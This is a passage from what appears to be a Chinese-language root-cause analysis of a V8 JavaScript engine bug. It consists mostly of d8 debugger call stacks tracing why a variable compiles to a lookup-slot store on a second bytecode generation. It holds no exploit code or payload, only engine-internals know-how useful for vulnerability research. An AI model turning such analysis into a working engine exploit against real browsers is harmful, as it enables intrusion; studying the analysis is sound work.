libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildVariableAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Variable * variable, v8::internal::Token::Value op, v8::internal::HoleCheckMode hole_check_mode, v8::internal::LookupHoistingMode lookup_hoisting_mode) (src/interpreter/bytecode-generator.cc:3773)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildAssignment(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::interpreter::BytecodeGenerator::AssignmentLhsData & lhs_data, v8::internal::Token::Value op, v8::internal::LookupHoistingMode lookup_hoisting_mode) (src/interpreter/bytecode-generator.cc:4500)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Assignment * expr) (src/interpreter/bytecode-generator.cc:4572)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitConditional(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Conditional * expr) (src/interpreter/bytecode-generator.cc:2989)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildLoadPropertyKey(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::LiteralProperty * property, v8::internal::interpreter::Register out_reg) (src/interpreter/bytecode-generator.cc:7099)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr, v8::internal::interpreter::Register name) (src/interpreter/bytecode-generator.cc:2662)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr, v8::internal::interpreter::Register name) (src/interpreter/bytecode-generator.cc:2817)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr) (src/interpreter/bytecode-generator.cc:2794)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitConditional(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Conditional * expr) (src/interpreter/bytecode-generator.cc:2985)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Assignment * expr) (src/interpreter/bytecode-generator.cc:4569)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForEffect(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7151)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitExpressionStatement(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ExpressionStatement * stmt) (src/interpreter/bytecode-generator.cc:1717)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitStatements(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::ZonePtrList<v8::internal::Statement> * statements) (src/interpreter/bytecode-generator.cc:1710)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitBlockDeclarationsAndStatements(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Block * stmt) (src/interpreter/bytecode-generator.cc:1523)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitBlock(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Block * stmt) (src/interpreter/bytecode-generator.cc:1513)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitStatements(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::ZonePtrList<v8::internal::Statement> * statements) (src/interpreter/bytecode-generator.cc:1710)
libv8.so!v8::internal::interpreter::BytecodeGenerator::GenerateBytecodeBody(v8::internal::interpreter::BytecodeGenerator * this) (src/interpreter/bytecode-generator.cc:1456)
libv8.so!v8::internal::interpreter::BytecodeGenerator::GenerateBytecode(v8::internal::interpreter::BytecodeGenerator * this, uintptr_t stack_limit) (src/interpreter/bytecode-generator.cc:1391)
libv8.so!v8::internal::interpreter::InterpreterCompilationJob::ExecuteJobImpl(v8::internal::interpreter::InterpreterCompilationJob * this) (src/interpreter/interpreter.cc:200)
libv8.so!v8::internal::UnoptimizedCompilationJob::ExecuteJob(v8::internal::UnoptimizedCompilationJob * this) (src/codegen/compiler.cc:421)
libv8.so!v8::internal::(anonymous namespace)::ExecuteSingleUnoptimizedCompilationJob(v8::internal::ParseInfo * parse_info, v8::internal::FunctionLiteral * literal, v8::internal::Handle<v8::internal::Script> script, v8::internal::AccountingAllocator * allocator, std::Cr::vector<v8::internal::FunctionLiteral*, std::Cr::allocator<v8::internal::FunctionLiteral*> > * eager_inner_literals, v8::internal::LocalIsolate * local_isolate) (src/codegen/compiler.cc:798)
libv8.so!v8::internal::(anonymous namespace)::IterativelyExecuteAndFinalizeUnoptimizedCompilationJobs<v8::internal::Isolate>(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> outer_shared_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * parse_info, v8::internal::AccountingAllocator * allocator, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::FinalizeUnoptimizedCompilationDataList * finalize_unoptimized_compilation_data_list, v8::internal::DeferredFinalizationJobDataList * jobs_to_retry_finalization_on_main_thread) (src/codegen/compiler.cc:840)
libv8.so!v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:1516)
libv8.so!v8::internal::Compiler::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2681)
libv8.so!v8::internal::(anonymous namespace)::CompileScriptOnMainThread(const v8::internal::UnoptimizedCompileFlags flags, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::internal::NativesFlag natives, v8::Extension * extension, v8::internal::Isolate * isolate, v8::internal::MaybeHandle<v8::internal::Script> maybe_script, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:3269)
libv8.so!v8::internal::(anonymous namespace)::GetSharedFunctionInfoForScriptImpl(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::Extension * extension, v8::internal::AlignedCachedData * cached_data, v8::internal::BackgroundDeserializeTask * deserialize_task, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3555)
libv8.so!v8::internal::Compiler::GetSharedFunctionInfoForScript(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3580)
libv8.so!v8::ScriptCompiler::CompileUnboundInternal(v8::Isolate * v8_isolate, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2687)
libv8.so!v8::ScriptCompiler::Compile(v8::Local<v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2716)
v8::(anonymous namespace)::Compile<v8::Script>(v8::Local<class v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options) (src/d8/d8.cc:615)
v8::Shell::CompileString<v8::Script>(v8::Isolate * isolate, v8::Local<class v8::Context> context, v8::Local<class v8::String> source, const v8::ScriptOrigin & origin) (src/d8/d8.cc:650)
v8::Shell::ExecuteString(v8::Isolate * isolate, v8::Local<class v8::String> source, v8::Local<class v8::String> name, v8::Shell::PrintResult print_result, v8::Shell::ReportExceptions report_exceptions, v8::Shell::ProcessMessageQueue process_message_queue) (src/d8/d8.cc:855)
v8::SourceGroup::Execute(v8::SourceGroup * this, v8::Isolate * isolate) (src/d8/d8.cc:4431)
v8::Shell::RunMain(v8::Isolate * isolate, bool last_run) (src/d8/d8.cc:5163)
v8::Shell::Main(int argc, char ** argv) (src/d8/d8.cc:5946)
main(int argc, char ** argv) (src/d8/d8.cc:6038)
libc.so.6!__libc_start_call_main(int (*)(int, char **, char **) main, int argc, char ** argv) (out/x64.debug/sysdeps/nptl/libc_start_call_main.h:58)
libc.so.6!__libc_start_main_impl(int (*)(int, char **, char **) main, int argc, char ** argv, int (*)(int, char **, char **) init, void (*)(void) fini, void (*)(void) rtld_fini, void * stack_end) (out/x64.debug/csu/libc-start.c:392)
_start (Unknown Source:0)
第二次字節碼生成

進入BytecodeGenerator::BuildVariableAssignment 函數后,發現variable->mode()的結果是v8::internal::VariableMode::kDynamicGlobalvariable->location() 的結果是v8::internal::LOOKUP 。選擇發射StaLookupSlot 字節碼。

image

調用棧:

libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildVariableAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Variable * variable, v8::internal::Token::Value op, v8::internal::HoleCheckMode hole_check_mode, v8::internal::LookupHoistingMode lookup_hoisting_mode) (src/interpreter/bytecode-generator.cc:3808)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildAssignment(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::interpreter::BytecodeGenerator::AssignmentLhsData & lhs_data, v8::internal::Token::Value op, v8::internal::LookupHoistingMode lookup_hoisting_mode) (src/interpreter/bytecode-generator.cc:4500)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Assignment * expr) (src/interpreter/bytecode-generator.cc:4572)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitConditional(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Conditional * expr) (src/interpreter/bytecode-generator.cc:2989)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildLoadPropertyKey(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::LiteralProperty * property, v8::internal::interpreter::Register out_reg) (src/interpreter/bytecode-generator.cc:7099)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr, v8::internal::interpreter::Register name) (src/interpreter/bytecode-generator.cc:2662)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr, v8::internal::interpreter::Register name) (src/interpreter/bytecode-generator.cc:2817)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr) (src/interpreter/bytecode-generator.cc:2794)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitConditional(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Conditional * expr) (src/interpreter/bytecode-generator.cc:2985)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Assignment * expr) (src/interpreter/bytecode-generator.cc:4569)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForEffect(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7151)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitExpressionStatement(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ExpressionStatement * stmt) (src/interpreter/bytecode-generator.cc:1717)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitStatements(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::ZonePtrList<v8::internal::Statement> * statements) (src/interpreter/bytecode-generator.cc:1710)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitBlockDeclarationsAndStatements(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Block * stmt) (src/interpreter/bytecode-generator.cc:1523)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitBlock(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Block * stmt) (src/interpreter/bytecode-generator.cc:1513)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitStatements(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::ZonePtrList<v8::internal::Statement> * statements) (src/interpreter/bytecode-generator.cc:1710)
libv8.so!v8::internal::interpreter::BytecodeGenerator::GenerateBytecodeBody(v8::internal::interpreter::BytecodeGenerator * this) (src/interpreter/bytecode-generator.cc:1456)
libv8.so!v8::internal::interpreter::BytecodeGenerator::GenerateBytecode(v8::internal::interpreter::BytecodeGenerator * this, uintptr_t stack_limit) (src/interpreter/bytecode-generator.cc:1391)
libv8.so!v8::internal::interpreter::InterpreterCompilationJob::ExecuteJobImpl(v8::internal::interpreter::InterpreterCompilationJob * this) (src/interpreter/interpreter.cc:200)
libv8.so!v8::internal::UnoptimizedCompilationJob::ExecuteJob(v8::internal::UnoptimizedCompilationJob * this) (src/codegen/compiler.cc:421)
libv8.so!v8::internal::(anonymous namespace)::ExecuteSingleUnoptimizedCompilationJob(v8::internal::ParseInfo * parse_info, v8::internal::FunctionLiteral * literal, v8::internal::Handle<v8::internal::Script> script, v8::internal::AccountingAllocator * allocator, std::Cr::vector<v8::internal::FunctionLiteral*, std::Cr::allocator<v8::internal::FunctionLiteral*> > * eager_inner_literals, v8::internal::LocalIsolate * local_isolate) (src/codegen/compiler.cc:798)
libv8.so!v8::internal::(anonymous namespace)::IterativelyExecuteAndFinalizeUnoptimizedCompilationJobs<v8::internal::Isolate>(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> outer_shared_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * parse_info, v8::internal::AccountingAllocator * allocator, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::FinalizeUnoptimizedCompilationDataList * finalize_unoptimized_compilation_data_list, v8::internal::DeferredFinalizationJobDataList * jobs_to_retry_finalization_on_main_thread) (src/codegen/compiler.cc:840)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::CreateSourcePositions create_source_positions_flag) (src/codegen/compiler.cc:2518)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::JSFunction> function, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2556)
libv8.so!v8::internal::__RT_impl_Runtime_CompileLazy(v8::internal::RuntimeArguments args, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:64)
libv8.so!v8::internal::Runtime_CompileLazy(int args_length, v8::internal::Address * args_object, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:45)
[Unknown/Just-In-Time compiled code] (Unknown Source:0)
對比分析

通過調試過程,我們發現,字節碼生成的差異主要由variable->location() 帶來:第一次字節碼生成時,該表達式內容是v8::internal::UNALLOCATED 。第二次字節碼生成時,該表達式內容是v8::internal::LOOKUP 。因此,我們要追蹤和差分對比兩次Parse過程中,創建variable變量所產生的差異及其根本原因。

Parser

為了跟蹤aa=0xff的Parse過程,我們在src/parsing/parser-base.h:2078ParseAssignmentExpressionCoverGrammar()調用處下斷,條件是expr_pos==501

image

image

image

我們發現,Parser在此處只對aa新建了VariableProxy對象,而不是Variable對象。根據前述的基礎知識,AST構建完成后的變量分配階段,才會為aa新建Variable對象。因此,我們接下來分析變量分配階段的相關代碼。

調用棧信息:

libv8.so!v8::internal::AstNodeFactory::NewVariableProxy(v8::internal::AstNodeFactory * this, const v8::internal::AstRawString * name, v8::internal::VariableKind variable_kind, int start_position) (src/ast/ast.h:3081)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::NewRawVariable(v8::internal::ParserBase<v8::internal::Parser> * this, const v8::internal::AstRawString * name, int pos) (src/parsing/parser-base.h:841)
libv8.so!v8::internal::ExpressionScope<v8::internal::ParserTypes<v8::internal::Parser> >::NewVariable(v8::internal::ExpressionScope<v8::internal::ParserTypes<v8::internal::Parser> > * this, const v8::internal::AstRawString * name, int pos) (src/parsing/expression-scope.h:54)
libv8.so!v8::internal::Parser::ExpressionFromIdentifier(v8::internal::Parser * this, const v8::internal::AstRawString * name, int start_position, v8::internal::InferName infer) (src/parsing/parser.h:827)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:1943)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2078)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2006)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2055)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalContinuation(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ParserBase<v8::internal::Parser>::ExpressionT expression, int pos) (src/parsing/parser-base.h:3182)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3101)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2078)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2006)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2055)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseProperty(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ParserBase<v8::internal::Parser>::ParsePropertyInfo * prop_info) (src/parsing/parser-base.h:2311)
